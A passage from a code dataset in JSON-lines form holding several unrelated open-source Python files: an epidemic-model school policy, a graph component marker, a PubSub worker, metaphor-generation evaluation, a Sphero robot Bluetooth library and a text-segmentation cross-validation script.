= testing_cfg[\"group2b\"]\n\n groupA = self.nodes_in_classes(group1a+group2a)\n groupB = self.nodes_in_classes(group1b+group2b)\n\n self.test_groups = (groupA, groupB)\n self.test_passive, self.test_active = 0, 1\n\n else:\n groupA = self.graph.nodes[self.graph.nodes_class_group == 0]\n groupB = self.graph.nodes[self.graph.nodes_class_group == 1]\n\n self.test_groups = (groupA, groupB)\n self.test_passive, self.test_active = 0, 1\n else:\n self.test_groups = None\n\n def closing_and_opening(self):\n \"\"\" closes everything for the weekend, alternates classes on the second level \"\"\"\n\n if self.model.t % 7 == self.weekend_end:\n self.passive_group, self.active_group = self.active_group, self.passive_group\n\n self.nodes_from_quarantine(self.groups[self.active_group])\n self.nodes_to_quarantine(self.groups[self.passive_group])\n\n logging.info(f\"Day {self.model.t}: Groups changed. Active group is {self.active_group}\")\n\n if self.model.t % 14 == self.weekend_end:\n if self.test_groups is not None:\n self.test_active, self.test_passive = self.test_passive, self.test_active\n\n # if self.model.t % 7 == 1:\n # # print every week the mean degree of second group\n # group2 = self._nodes_in_classes(self.groups[1])\n # mean_degree = compute_mean_degree(self.graph, group2)\n # logging.debug(f\"Day {self.model.t}: Mean degree of group2 {mean_degree}\")\n\n\nclass AlternateFreeMonday(AlternatingPolicy):\n\n def __init__(self, graph, model, config_file=None):\n super().__init__(graph, model, config_file)\n\n self.weekend_start = 5\n self.weekend_end = 1\n self.testing = False\n\n\nclass AlternateAndMondayPCR(AlternatingPolicy):\n\n def __init__(self, graph, model, config_file=None):\n super().__init__(graph, model, config_file)\n\n self.weekend_start = 5\n self.weekend_end = 1\n\n self.testing = True\n self.test_sensitivity = 0.8\n self.test_days = (1,)\n","repo_name":"epicity-cz/model-m","sub_path":"src/policies/school_policy.py","file_name":"school_policy.py","file_ext":"py","file_size_in_byte":15815,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"30739585933","text":"# Rewrite `mark_component` to not use recursion\n# and instead use the `open_list` data structure\n# discussed in lecture\n#\n\n#initial mark_component using recursion\n# def mark_component(G, node, marked):\n# marked[node] = True\n# total_marked = 1\n# for neighbor in G[node]:\n# if neighbor not in marked:\n# total_marked += mark_component(G, neighbor, marked)\n# return total_marked\n\n# rewritten component not using open_list\n\"\"\"\nSimilar to breadth first search, the main difference between DFS and BFS is the order in which nodes are removed from the open list.\n\"\"\"\ndef mark_component(G, node, marked):\n open_list = [node]\n total_marked = 1\n marked[node] = True\n while len(open_list) > 0:\n node = open_list.pop()\n for neighbor in G[node]:\n if neighbor not in marked:\n open_list.append(neighbor)\n marked[neighbor] = True\n total_marked += 1\n return total_marked\n\n#########\n# Code for testing\n#\ndef make_link(G, node1, node2):\n if node1 not in G:\n G[node1] = {}\n (G[node1])[node2] = 1\n if node2 not in G:\n G[node2] = {}\n (G[node2])[node1] = 1\n return G\n\ndef test():\n test_edges = [(1, 2), (2, 3), (4, 5), (5, 6)]\n G = {}\n for n1, n2 in test_edges:\n make_link(G, n1, n2)\n marked = {}\n assert mark_component(G, 1, marked) == 3\n assert 1 in marked\n assert 2 in marked\n assert 3 in marked\n assert 4 not in marked\n assert 5 not in marked\n assert 6 not in marked\n\ntest()\n","repo_name":"Chemokoren/Algorithms-1","sub_path":"mark_component.py","file_name":"mark_component.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"27153902016","text":"import json\nimport asyncio\nfrom pydantic import BaseModel, validator\nfrom dataclasses import dataclass\nfrom libs.pubsub import PubSub\nfrom .task_job import Jobs\nfrom .task_mongo import connect_mongo_log\n\n\nclass Msg(BaseModel):\n namespace: str\n subname: str\n delay: int\n message_id: str\n attributes: dict\n data: str\n\n # validation at field level\n @validator(\"data\")\n def decodex(cls, v):\n return json.loads(v)\n\n\n@dataclass\nclass Bot:\n config: dict\n subname = 'test001-sub'\n\n async def executor(self, mongolog, msg: Msg):\n '''dat = Msg(namespace=msg.attributes['namespace'],\n subname=msg.attributes['subname'],\n delay=int(msg.attributes['delay']),\n publishtime=msg.publish_time,\n attributes=msg.attributes,\n message_id=msg.message_id,\n data=msg.data.decode('utf-8'))'''\n\n # run task\n job = Jobs(config=self.config,\n message_id=msg.message_id,\n namespace=msg.attributes['namespace'],\n subname=msg.attributes['subname'],\n delay=int(msg.attributes['delay']),\n data=msg.data.decode('utf-8'))\n\n await job.job(mongolog)\n\n async def run(self):\n gcp_config = self.config['gcp_pubsub']\n pubsub = PubSub(gcp_config)\n mongolog = await connect_mongo_log(self.config)\n while True:\n subscrb = pubsub.sub()\n with subscrb:\n subpath = subscrb.subscription_path(gcp_config[\"project_id\"],\n self.subname)\n\n # get messages\n response = subscrb.pull(request={\n 'subscription': subpath,\n 'max_messages': 3\n })\n\n ack_ids = []\n for msg in response.received_messages:\n\n # print(\"Received: {}\".format(msg.message))\n await self.executor(mongolog, msg.message)\n\n ack_ids.append(msg.ack_id)\n\n # Acknowledges the received messages so they will not be sent again.\n tot = len(response.received_messages)\n if tot > 0:\n subscrb.acknowledge(request={\n \"subscription\": subpath,\n \"ack_ids\": ack_ids,\n })\n\n await asyncio.sleep(2)\n","repo_name":"rizoadev/pegasus","sub_path":"app/workers/init_pubsub.py","file_name":"init_pubsub.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"86386396437","text":"import logging\nimport math\nimport os\nimport json\nfrom collections import defaultdict\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport transformers\nfrom moverscore import word_mover_score\nfrom transformers import T5ForConditionalGeneration\nfrom functional import seq\nfrom sentence_transformers import SentenceTransformer\nfrom sentence_transformers.util import pytorch_cos_sim as cos_sim\nfrom typing import List\n\nfrom metaphor_datasets import get_train_frame, MetaphorDataset\n\nRESOURCES_PATH = os.path.join(\n os.path.dirname(__file__),\n '../../resources/')\nCSV_FULL_METAPHOR_SET = RESOURCES_PATH + 'training_pairs/training_pairs_ALL.csv'\n\n# load list of metanet metaphors\nmetas = json.load(open(RESOURCES_PATH + 'metanet_metaphors.json', 'r'))\n\n\ndef _get_metaphor_level(target_domain: str, source_domain: str):\n \"\"\"\n returns the level for a given MetaNet metaphor\n :param target_domain: the metaphor's target domain\n :param source_domain: the metaphor's source domain\n :return: the given metaphor's level ('general', 'specific', or None, if not available)\n \"\"\"\n for m in metas:\n if m['source'] == source_domain and m['target'] == target_domain and 'level' in m.keys():\n return m['level']\n\n return None\n\n\ndef _get_metaphor_type(target_domain: str, source_domain: str):\n \"\"\"\n returns the type for a given MetaNet metaphor\n :param target_domain: the metaphor's target domain\n :param source_domain: the metaphor's source domain\n :return: the given metaphor's type ('primary', 'composed/complex', 'entailed', or None, if not available)\n \"\"\"\n for m in metas:\n if m['source'] == source_domain and m['target'] == target_domain and 'type' in m.keys():\n return m['type']\n\n return None\n\n\ndef _predict(model: transformers.PreTrainedModel, eval_set: MetaphorDataset, batch_size=50):\n \"\"\"\n use the given model to predict the output sentences for a corresponding evaluation set containing\n input sentences\n\n :param model: a T5 model, fine-tuned for metaphor generation\n :param eval_set: a MetaphorDataset, containing evaluation data\n :param batch_size: default - 50. Determines how many sentences to predict at a time, avoiding out of memory problems\n :return: a list of predicted output sentences\n \"\"\"\n in_ids = eval_set.input_ids\n ids_len = len(in_ids)\n out_sents = list()\n amt_batches = int(math.ceil(ids_len / batch_size))\n\n model.eval()\n\n for i in range(amt_batches):\n # predict token IDs\n out_ids = model.generate(\n input_ids=in_ids[i * batch_size: (i + 1) * batch_size],\n max_length=512)\n # convert token IDs into text\n out_sents.extend(\n eval_set.tokenizer.batch_decode(out_ids, skip_special_tokens=True))\n\n logging.info('inference successful for batch {}/{}'.format(i, amt_batches))\n\n return out_sents\n\n\ndef add_predictions_to_tsv(file: str):\n \"\"\"\n takes a tsv file that already contains the following columns\n ['id', 'target_domain', 'source_domain', 'in_sent', 'out_sent', 'lemma_pos', 'word_type']\n and adds predictions from our metaphor generation models\n\n The resulting extended file is stored separately\n\n :param file: path to a tsv file without predictions from controlled and\n free metaphor generation\n \"\"\"\n\n '''\n # create data sets for controlled metaphor generation\n contr_train_set, _, contr_eval_set = \\\n split_train_dev_test(CSV_FULL_METAPHOR_SET, True)\n \n # create data sets for free metaphor generation\n free_train_set, _, free_eval_set = \\\n split_train_dev_test(CSV_FULL_METAPHOR_SET, False)\n '''\n # redeclare the eval sets, since we are predicting on Kevin's data\n kevin_frame = \\\n pd.read_csv(file,\n sep='\\t',\n header=None,\n names=['id', 'target_domain', 'source_domain', 'in_sent',\n 'out_sent', 'lemma_pos', 'word_type'])\n contr_eval_set = MetaphorDataset(kevin_frame, True)\n free_eval_set = MetaphorDataset(kevin_frame, False)\n\n # load the fine-tuned model for controlled metaphor generation\n contr_model = T5ForConditionalGeneration.from_pretrained(\n RESOURCES_PATH + 'fine_tuned_models/t5-base-meta-gen-controlled/')\n\n # load the fine-tuned model for free metaphor generation\n free_model = T5ForConditionalGeneration.from_pretrained(\n RESOURCES_PATH + 'fine_tuned_models/t5-base-meta-gen-free/')\n\n # load the gold standard frame for comparison\n eval_frame = contr_eval_set.metaphors_frame\n\n # add controlled predictions to dataframe\n eval_frame['out_pred_controlled'] = _predict(contr_model, contr_eval_set)\n\n # add free predictions to dataframe\n eval_frame['out_pred_free'] = _predict(free_model, free_eval_set)\n\n # attach metaphor_level column to metaphor_frame\n metaphor_level = (seq(\n eval_frame[['target_domain', 'source_domain']])\n .map(lambda arr: _get_metaphor_level(arr[0], arr[1]))\n .list())\n\n eval_frame['metaphor_level'] = metaphor_level\n\n # attach metaphor_type column to metaphor_frame\n metaphor_type = (seq(\n eval_frame[['target_domain', 'source_domain']])\n .map(lambda arr: _get_metaphor_type(arr[0], arr[1]))\n .list())\n\n eval_frame['metaphor_type'] = metaphor_type\n\n # attach unseen column to metaphor_frame (whether metaphor was in training set)\n train_frame = get_train_frame(CSV_FULL_METAPHOR_SET)\n train_metas = (train_frame[['target_domain', 'source_domain']]\n .drop_duplicates()\n .values\n .tolist())\n\n metaphor_unseen = (seq(\n eval_frame[['target_domain', 'source_domain']].values.tolist())\n .map(lambda lst: lst not in train_metas)\n .list())\n\n eval_frame['metaphor_unseen'] = metaphor_unseen\n\n # store eval_frame\n eval_frame.to_csv(file[:-4] + '_w_preds.tsv', sep='\\t', index=False)\n\n\ndef add_sbert_scores_to_tsv(file: str):\n \"\"\"\n this method adds four SBERT scores for semantic similarity to a given tsv file with\n evaluation data\n\n - cosine similarity between out_gold and out_contr sentence\n - cosine similarity between out_gold and out_free sentence\n - relative distance between cos_sim(in_gold, out_gold) and cos_sim(in_gold, out_contr)\n - relative distance between cos_sim(in_gold, out_gold) and cos_sim(in_gold, out_free)\n\n :param file: path to a tsv file containing evaluation data for metaphor generation\n \"\"\"\n # read data frame\n eval_frame = pd.read_csv(file, sep='\\t')\n\n # load SBERT model (we use roberta-large for comparability with Stowe et al. 2021)\n sbert_model = SentenceTransformer('stsb-roberta-large')\n\n # compute embeddings\n in_gold_embs = sbert_model.encode(eval_frame['in_sent'])\n out_gold_embs = sbert_model.encode(eval_frame['out_sent'])\n out_contr_embs = sbert_model.encode(eval_frame['out_pred_controlled'])\n out_free_embs = sbert_model.encode(eval_frame['out_pred_free'])\n\n # compute semantic distance between gold metaphor and generated metaphors\n out_gold_contr_cos_sim = list()\n out_gold_free_cos_sim = list()\n for out_gold, out_contr, out_free in zip(out_gold_embs, out_contr_embs, out_free_embs):\n # compute gold out - controlled out cosine similarity\n out_gold_contr_cos_sim.append(\n 1 - float(\n cos_sim(out_gold, out_contr)\n )\n\n )\n\n # compute gold out - free out cosine similarity\n out_gold_free_cos_sim.append(\n 1 - float(\n cos_sim(out_gold, out_free)\n )\n )\n\n # attach scores to the dataframe\n eval_frame['cos_dist_controlled'] = out_gold_contr_cos_sim\n eval_frame['cos_dist_free'] = out_gold_free_cos_sim\n\n # compute relative semantic distance between gold_in-gold_out distance and gold_in-generated_out distance\n rel_dists_contr = list()\n rel_dists_free = list()\n for in_gold, out_gold, out_contr, out_free in zip(in_gold_embs, out_gold_embs, out_contr_embs, out_free_embs):\n # compute |cos_sim(in_gold, out_gold) - cos_sim(in_gold, out_contr)|\n rel_dists_contr.append(\n float(\n torch.abs(\n cos_sim(in_gold, out_gold) - cos_sim(in_gold, out_contr))\n )\n )\n # compute |cos_sim(in_gold, out_gold) - cos_sim(in_gold, out_free)|\n rel_dists_free.append(\n float(\n torch.abs(\n cos_sim(in_gold, out_gold) - cos_sim(in_gold, out_free)\n )\n )\n )\n\n # attach scores to the dataframe\n eval_frame['rel_cos_dist_controlled'] = rel_dists_contr\n eval_frame['rel_cos_dist_free'] = rel_dists_free\n\n # store results in a tsv file\n eval_frame.to_csv(file[:-4] + '_w_sbert.tsv', sep='\\t', index=False)\n\n\ndef add_mover_scores_to_tsv(file: str):\n \"\"\"\n this method adds four MoverScores to a given tsv file, containing\n evaluation data. The MoverScores serve as proxies for\n\n - semantic similarity between out_gold and out_contr sentence\n - semantic similarity between out_gold and out_free sentence\n - relative distance between similarity(in_gold, out_gold) and similarity(in_gold, out_contr)\n - relative distance between similarity(in_gold, out_gold) and similarity(in_gold, out_free)\n\n The MoverScores are designed as an additional metric and expected to correlate well\n with the SBERT scores for semantic similarity\n\n NOTE: DUE TO A VERY BUGGY ORIGINAL MOVERSCORE IMPLEMENTATION, WE DECIDED NOT TO USE\n THIS METRIC\n\n :param file: path to a tsv file containing evaluation data for metaphor generation\n \"\"\"\n # read data frame\n eval_frame = pd.read_csv(file, sep='\\t')\n\n # include sentence score method from MoverScore examples\n # unfortunately, import option is not available\n def _sentence_score(hypothesis: str, references: List[str], trace=0):\n \"\"\"\n Created on Thu Mar 11 02:01:42 2021\n @author: zhao\n \"\"\"\n idf_dict_hyp = defaultdict(lambda: 1.)\n idf_dict_ref = defaultdict(lambda: 1.)\n\n hypothesis = [hypothesis] * len(references)\n\n sentence_score = 0\n\n scores = word_mover_score(references, hypothesis, idf_dict_ref, idf_dict_hyp, stop_words=[], n_gram=1,\n remove_subwords=False)\n\n sentence_score = np.mean(scores)\n\n if trace > 0:\n print(hypothesis, references, sentence_score)\n\n return sentence_score\n\n # compute semantic distance between gold metaphor and generated metaphors\n out_gold_contr_cos_sim = list()\n out_gold_free_cos_sim = list()\n for out_gold, out_contr, out_free in eval_frame[['out_sent', 'out_pred_controlled', 'out_pred_free']].iloc:\n # compute gold out - controlled out cosine similarity\n out_gold_contr_cos_sim.append(\n _sentence_score(out_contr, out_gold)\n\n )\n\n # compute gold out - free out cosine similarity\n out_gold_free_cos_sim.append(\n _sentence_score(out_free, out_gold)\n )\n\n # attach scores to the dataframe\n eval_frame['mover_score_controlled'] = out_gold_contr_cos_sim\n eval_frame['mover_score_free'] = out_gold_free_cos_sim\n\n # compute relative semantic distance between gold_in-gold_out distance and gold_in-generated_out distance\n rel_dists_contr = list()\n rel_dists_free = list()\n for in_gold, out_gold, out_contr, out_free in \\\n eval_frame[['in_sent', 'out_sent', 'out_pred_controlled', 'out_pred_free']].iloc:\n # compute |moverscore(out_gold, in_gold) - moverscore(out_contr, in_gold)|\n rel_dists_contr.append(\n math.fabs(_sentence_score(out_gold, in_gold) - _sentence_score(out_contr, in_gold))\n )\n # compute |moverscore(out_gold, in_gold) - moverscore(out_free, in_gold)|\n rel_dists_free.append(\n math.fabs(_sentence_score(out_gold, in_gold) - _sentence_score(out_free, in_gold))\n )\n\n # attach scores to the dataframe\n eval_frame['rel_mover_score_dist_controlled'] = rel_dists_contr\n eval_frame['rel_mover_score_dist_free'] = rel_dists_free\n\n # store results in a tsv file\n eval_frame.to_csv(file[:-4] + '_w_mover_score.tsv', sep='\\t', index=False)\n","repo_name":"UKPLab/conll2021-metaphoric-paraphrase-generation","sub_path":"metaphor-generation/fine_tuning/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":12459,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"14375947248","text":"import contextlib\nimport logging\nimport struct\nimport time\nfrom concurrent.futures import Future\nfrom concurrent.futures.thread import ThreadPoolExecutor\nfrom threading import Event\nfrom typing import List, NamedTuple, Callable\n\nfrom bluepy.btle import ADDR_TYPE_RANDOM, Characteristic, DefaultDelegate, Descriptor, Peripheral\n\nfrom pysphero.constants import Api2Error, GenericCharacteristic, SpheroCharacteristic, Toy\nfrom pysphero.device_api import Animatronics, Sensor, UserIO, ApiProcessor, Power, SystemInfo\nfrom pysphero.driving import Driving\nfrom pysphero.exceptions import PySpheroApiError, PySpheroRuntimeError, PySpheroTimeoutError, PySpheroException\nfrom pysphero.helpers import cached_property\nfrom pysphero.packet import Packet\n\nlogger = logging.getLogger(__name__)\n\n\nclass PeripheralPreferredConnectionParameters(NamedTuple):\n min_con_interval: int\n max_con_interval: int\n slave_latency: int\n connection_supervision_timeout_multiplier: int\n\n\nclass SpheroDelegate(DefaultDelegate):\n \"\"\"\n Delegate class for bluepy\n Getting bytes from peripheral and build packets\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self.data = []\n self.packets = {}\n\n def build_packet(self):\n \"\"\"\n Create and save packet from raw bytes\n \"\"\"\n logger.debug(f\"Starting of packet build\")\n\n packet = Packet.from_response(self.data)\n self.packets[packet.id] = packet\n self.data = []\n\n def handleNotification(self, handle: int, data: List[int]):\n \"\"\"\n handleNotification getting raw data from peripheral and save it.\n This function may be called several times. Therefore, the state is stored inside the class.\n\n :param handle:\n :param data: raw data\n :return:\n \"\"\"\n for b in data:\n logger.debug(f\"Received {b:#04x}\")\n self.data.append(b)\n\n # packet always ending with end byte\n if b == Packet.end:\n if len(self.data) < 6:\n raise PySpheroRuntimeError(f\"Very small packet {[hex(x) for x in self.data]}\")\n self.build_packet()\n\n\nclass SpheroCore:\n STOP_NOTIFY = object()\n \"\"\"\n Core class for communication with peripheral device\n In the future, another bluetooth library can be replaced.\n \"\"\"\n\n def __init__(self, mac_address: str, max_workers: int = 10):\n logger.debug(\"Init Sphero Core\")\n self.mac_address = mac_address\n self.delegate = SpheroDelegate()\n self.peripheral = Peripheral(self.mac_address, ADDR_TYPE_RANDOM)\n self.peripheral.setDelegate(self.delegate)\n\n self.ch_api_v2 = self.get_characteristic(uuid=SpheroCharacteristic.api_v2.value)\n # Initial api descriptor\n # Need for getting response from sphero\n desc = self.get_descriptor(self.ch_api_v2, GenericCharacteristic.client_characteristic_configuration.value)\n desc.write(b\"\\x01\\x00\", withResponse=True)\n\n self._sequence = 0\n\n self._executor = ThreadPoolExecutor(max_workers=max_workers)\n self._running = Event() # disable receiver thread\n self._running.set()\n self._notify_futures = {} # features of notify\n self._executor.submit(self._receiver)\n logger.debug(\"Sphero Core: successful initialization\")\n\n def close(self):\n self._running.clear()\n self._executor.shutdown(wait=False)\n # ignoring any exception\n # because it does not matter\n with contextlib.suppress(Exception):\n self.peripheral.disconnect()\n\n def _receiver(self):\n logger.debug(\"Start receiver\")\n\n sleep = 0.05\n while self._running.is_set():\n self.peripheral.waitForNotifications(sleep)\n\n logger.debug(\"Stop receiver\")\n\n def _get_response(self, packet: Packet, sleep_time: float = 0.1, timeout: float = 10):\n while self._running.is_set():\n response = self.delegate.packets.pop(packet.id, None)\n if response:\n return response\n\n timeout -= sleep_time or 0.01 # protect of 0 sleep_time\n if timeout <= 0:\n raise PySpheroTimeoutError(f\"Timeout error for response of {packet}\")\n\n time.sleep(sleep_time)\n\n @property\n def sequence(self) -> int:\n \"\"\"\n Autoincrement sequence number of packet\n \"\"\"\n self._sequence = (self._sequence + 1) % 256\n return self._sequence\n\n def get_characteristic(self, uuid: int or str) -> Characteristic:\n return self.peripheral.getCharacteristics(uuid=uuid)[0]\n\n def get_descriptor(self, characteristic: Characteristic, uuid: int or str) -> Descriptor:\n return characteristic.getDescriptors(forUUID=uuid)[0]\n\n def notify(self, packet: Packet, callback: Callable, sleep_time: float = 0.1, timeout: float = 10):\n packet_id = packet.id\n if packet_id in self._notify_futures:\n raise PySpheroRuntimeError(\"Notify thread already exists\")\n\n def worker():\n logger.debug(f\"[NOTIFY_WORKER {packet}] Start\")\n\n while self._running.is_set():\n response = self._get_response(packet, sleep_time=sleep_time, timeout=timeout)\n logger.debug(f\"[NOTIFY_WORKER {packet}] Received {response}\")\n if callback(response) is SpheroCore.STOP_NOTIFY:\n logger.debug(f\"[NOTIFY_WORKER {packet}] Received STOP_NOTIFY\")\n self._notify_futures.pop(packet_id, None)\n break\n\n future = self._executor.submit(worker)\n self._notify_futures[packet_id] = future\n return future\n\n def cancel_notify(self, packet: Packet):\n future: Future = self._notify_futures.pop(packet.id, None)\n if future is None:\n raise PySpheroRuntimeError(\"Future not found\")\n\n logger.debug(f\"[NOTIFY_WORKER {packet}] Cancel\")\n future.cancel()\n\n def request(self, packet: Packet, with_api_error: bool = True, timeout: float = 10) -> Packet:\n \"\"\"\n Method allow send request packet and get response packet\n\n :param packet: request packet\n :param with_api_error: error code check\n :param timeout: timeout for waiting response from device\n :return Packet: response packet\n \"\"\"\n logger.debug(f\"Send {packet}\")\n packet.sequence = self.sequence\n self.ch_api_v2.write(packet.build(), withResponse=True)\n\n response = self._get_response(packet, timeout=timeout)\n if with_api_error and response.api_error is not Api2Error.success:\n raise PySpheroApiError(response.api_error)\n return response\n\n\nclass Sphero:\n \"\"\"\n High-level API for communicate with sphero toy\n \"\"\"\n\n def __init__(self, mac_address: str, toy_type: Toy = Toy.unknown):\n self.mac_address = mac_address\n self.type = toy_type\n self._sphero_core = None\n\n @property\n def sphero_core(self):\n if self._sphero_core is None:\n raise PySpheroException(\"Use Sphero as context manager\")\n return self._sphero_core\n\n @sphero_core.setter\n def sphero_core(self, value):\n self._sphero_core = value\n\n def __enter__(self):\n self.sphero_core = SpheroCore(self.mac_address)\n # if self.type is Toy.unknown:\n # self.type = TOY_BY_PREFIX.get(self.name[:3], Toy.unknown)\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.sphero_core.close()\n\n @property\n def name(self) -> str:\n raise NotImplementedError(\"This method is unstable\")\n device_name = self.sphero_core.get_characteristic(uuid=GenericCharacteristic.device_name.value)\n name: bytes = device_name.read()\n return name.decode(\"utf-8\")\n\n @property\n def peripheral_preferred_connection_parameters(self) -> PeripheralPreferredConnectionParameters:\n ppcp = self.sphero_core.get_characteristic(\n uuid=GenericCharacteristic.peripheral_preferred_connection_parameters.value)\n data: bytes = ppcp.read()\n return PeripheralPreferredConnectionParameters(*struct.unpack(\"HHHH\", data))\n\n @cached_property\n def system_info(self) -> SystemInfo:\n return SystemInfo(sphero_core=self.sphero_core)\n\n @cached_property\n def power(self) -> Power:\n return Power(sphero_core=self.sphero_core)\n\n @cached_property\n def driving(self) -> Driving:\n return Driving(sphero_core=self.sphero_core)\n\n @cached_property\n def api_processor(self) -> ApiProcessor:\n return ApiProcessor(sphero_core=self.sphero_core)\n\n @cached_property\n def user_io(self) -> UserIO:\n return UserIO(sphero_core=self.sphero_core)\n\n @cached_property\n def sensor(self) -> Sensor:\n return Sensor(sphero_core=self.sphero_core)\n\n @cached_property\n def animatronics(self) -> Animatronics:\n return Animatronics(sphero_core=self.sphero_core)\n","repo_name":"typedivision/pysphero","sub_path":"pysphero/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":8989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"71636280430","text":"import torch\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\nfrom choiloader import ChoiDataset, collate_fn\nfrom tqdm import tqdm\nfrom argparse import ArgumentParser\nfrom utils import maybe_cuda\nimport gensim\nimport utils\nfrom tensorboard_logger import configure\nimport os\nimport sys\nfrom pathlib2 import Path\nimport accuracy\nimport numpy as np\nfrom termcolor import colored\n\ntorch.multiprocessing.set_sharing_strategy('file_system')\n\npreds_stats = utils.predictions_analysis()\n\n\ndef softmax(x):\n max_each_row = np.max(x, axis=1, keepdims=True)\n exps = np.exp(x - max_each_row)\n sums = np.sum(exps, axis=1, keepdims=True)\n return exps / sums\n\n\ndef import_model(model_name):\n module = __import__('models.' + model_name, fromlist=['models'])\n return module.create()\n\n\nclass Accuracies(object):\n def __init__(self):\n self.thresholds = np.arange(0, 1, 0.05)\n self.accuracies = {k: accuracy.Accuracy() for k in self.thresholds}\n\n def update(self, output_np, targets_np):\n current_idx = 0\n for k, t in enumerate(targets_np):\n document_sentence_count = len(t)\n to_idx = int(current_idx + document_sentence_count)\n\n for threshold in self.thresholds:\n output = ((output_np[current_idx: to_idx, :])[:, 1] > threshold)\n h = np.append(output, [1])\n tt = np.append(t, [1])\n\n self.accuracies[threshold].update(h, tt)\n\n current_idx = to_idx\n\n def calc_accuracy(self):\n min_pk = np.inf\n min_threshold = None\n min_epoch_windiff = None\n for threshold in self.thresholds:\n epoch_pk, epoch_windiff = self.accuracies[threshold].calc_accuracy()\n if epoch_pk < min_pk:\n min_pk = epoch_pk\n min_threshold = threshold\n min_epoch_windiff = epoch_windiff\n\n return min_pk, min_epoch_windiff, min_threshold\n\ndef validate(model, args, epoch, dataset, logger):\n model.eval()\n with tqdm(desc='Validatinging', total=len(dataset)) as pbar:\n acc = Accuracies()\n for i, (data, target, paths) in enumerate(dataset):\n if True:\n if i == args.stop_after:\n break\n pbar.update()\n output = model(data)\n output_softmax = F.softmax(output, 1)\n targets_var = Variable(maybe_cuda(torch.cat(target, 0), args.cuda), requires_grad=False)\n\n output_seg = output.data.cpu().numpy().argmax(axis=1)\n target_seg = targets_var.data.cpu().numpy()\n preds_stats.add(output_seg, target_seg)\n\n acc.update(output_softmax.data.cpu().numpy(), target)\n\n epoch_pk, epoch_windiff, threshold = acc.calc_accuracy()\n\n logger.info('Validating Epoch: {}, accuracy: {:.4}, Pk: {:.4}, Windiff: {:.4}, F1: {:.4} . '.format(epoch + 1,\n preds_stats.get_accuracy(),\n epoch_pk,\n epoch_windiff,\n preds_stats.get_f1()))\n preds_stats.reset()\n\n return epoch_pk, threshold\n\n\ndef test(model, args, epoch, dataset, logger, test_threshold, test_acc):\n model.eval()\n with tqdm(desc='Testing', total=len(dataset)) as pbar:\n for i, (data, target, paths) in enumerate(dataset):\n if True:\n if i == args.stop_after:\n break\n pbar.update()\n output = model(data)\n output_softmax = F.softmax(output, 1)\n targets_var = Variable(maybe_cuda(torch.cat(target, 0), args.cuda), requires_grad=False)\n output_seg = output.data.cpu().numpy().argmax(axis=1)\n target_seg = targets_var.data.cpu().numpy()\n preds_stats.add(output_seg, target_seg)\n\n current_idx = 0\n\n for k, t in enumerate(target):\n document_sentence_count = len(t)\n to_idx = int(current_idx + document_sentence_count)\n\n output = ((output_softmax.data.cpu().numpy()[current_idx: to_idx, :])[:, 1] > test_threshold)\n h = np.append(output, [1])\n tt = np.append(t, [1])\n\n test_acc.update(h, tt)\n\n current_idx = to_idx\n\n test_pk, epoch_windiff = test_acc.calc_accuracy()\n\n logger.debug('Testing validation section: {}, accuracy: {:.4}, Pk: {:.4}, Windiff: {:.4}, F1: {:.4} . '.format(epoch + 1,\n preds_stats.get_accuracy(),\n test_pk,\n epoch_windiff,\n preds_stats.get_f1()))\n preds_stats.reset()\n\n return test_pk\n\n\ndef main(args):\n sys.path.append(str(Path(__file__).parent))\n\n logger = utils.setup_logger(__name__, 'cross_validate_choi.log')\n\n utils.read_config_file(args.config)\n utils.config.update(args.__dict__)\n logger.debug('Running with config %s', utils.config)\n\n configure(os.path.join('runs', args.expname))\n\n if not args.test:\n word2vec = gensim.models.KeyedVectors.load_word2vec_format(utils.config['word2vecfile'], binary=True)\n else:\n word2vec = None\n\n\n dataset_path = Path(args.flat_choi)\n\n with open(args.load_from, 'rb') as f:\n model = torch.load(f)\n model.eval()\n model = maybe_cuda(model)\n\n test_accuracy = accuracy.Accuracy()\n\n for j in range(5):\n validate_folder_numbers = range(5)\n validate_folder_numbers.remove(j)\n validate_folder_names = [dataset_path.joinpath(str(num)) for num in validate_folder_numbers]\n dev_dataset = ChoiDataset(dataset_path , word2vec, folder=True, folders_paths=validate_folder_names)\n test_dataset = ChoiDataset(dataset_path, word2vec, folder=True, folders_paths=[dataset_path.joinpath(str(j))])\n\n dev_dl = DataLoader(dev_dataset, batch_size=args.test_bs, collate_fn=collate_fn, shuffle=False,\n num_workers=args.num_workers)\n test_dl = DataLoader(test_dataset, batch_size=args.test_bs, collate_fn=collate_fn, shuffle=False,\n num_workers=args.num_workers)\n\n _, threshold = validate(model, args, j, dev_dl, logger)\n test_pk = test(model, args, j, test_dl, logger, threshold, test_accuracy)\n logger.debug(colored('Cross validation section {} with p_k {} and threshold {}'.format(j, test_pk, threshold),'green'))\n\n cross_validation_pk, _ = test_accuracy.calc_accuracy()\n print ('Final cross validaiton Pk is: ' + str(cross_validation_pk))\n logger.debug(\n colored('Final cross validaiton Pk is: {}'.format(cross_validation_pk), 'green'))\n\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('--cuda', help='Use cuda?', action='store_true')\n parser.add_argument('--test', help='Test mode? (e.g fake word2vec)', action='store_true')\n parser.add_argument('--bs', help='Batch size', type=int, default=8)\n parser.add_argument('--test_bs', help='Batch size', type=int, default=5)\n parser.add_argument('--load_from', help='Location of a .t7 model file to load. Training will continue')\n parser.add_argument('--expname', help='Experiment name to appear on tensorboard', default='exp1')\n parser.add_argument('--stop_after', help='Number of batches to stop after', default=None, type=int)\n parser.add_argument('--config', help='Path to config.json', default='config.json')\n parser.add_argument('--window_size', help='Window size to encode setence', type=int, default=1)\n parser.add_argument('--num_workers', help='How many workers to use for data loading', 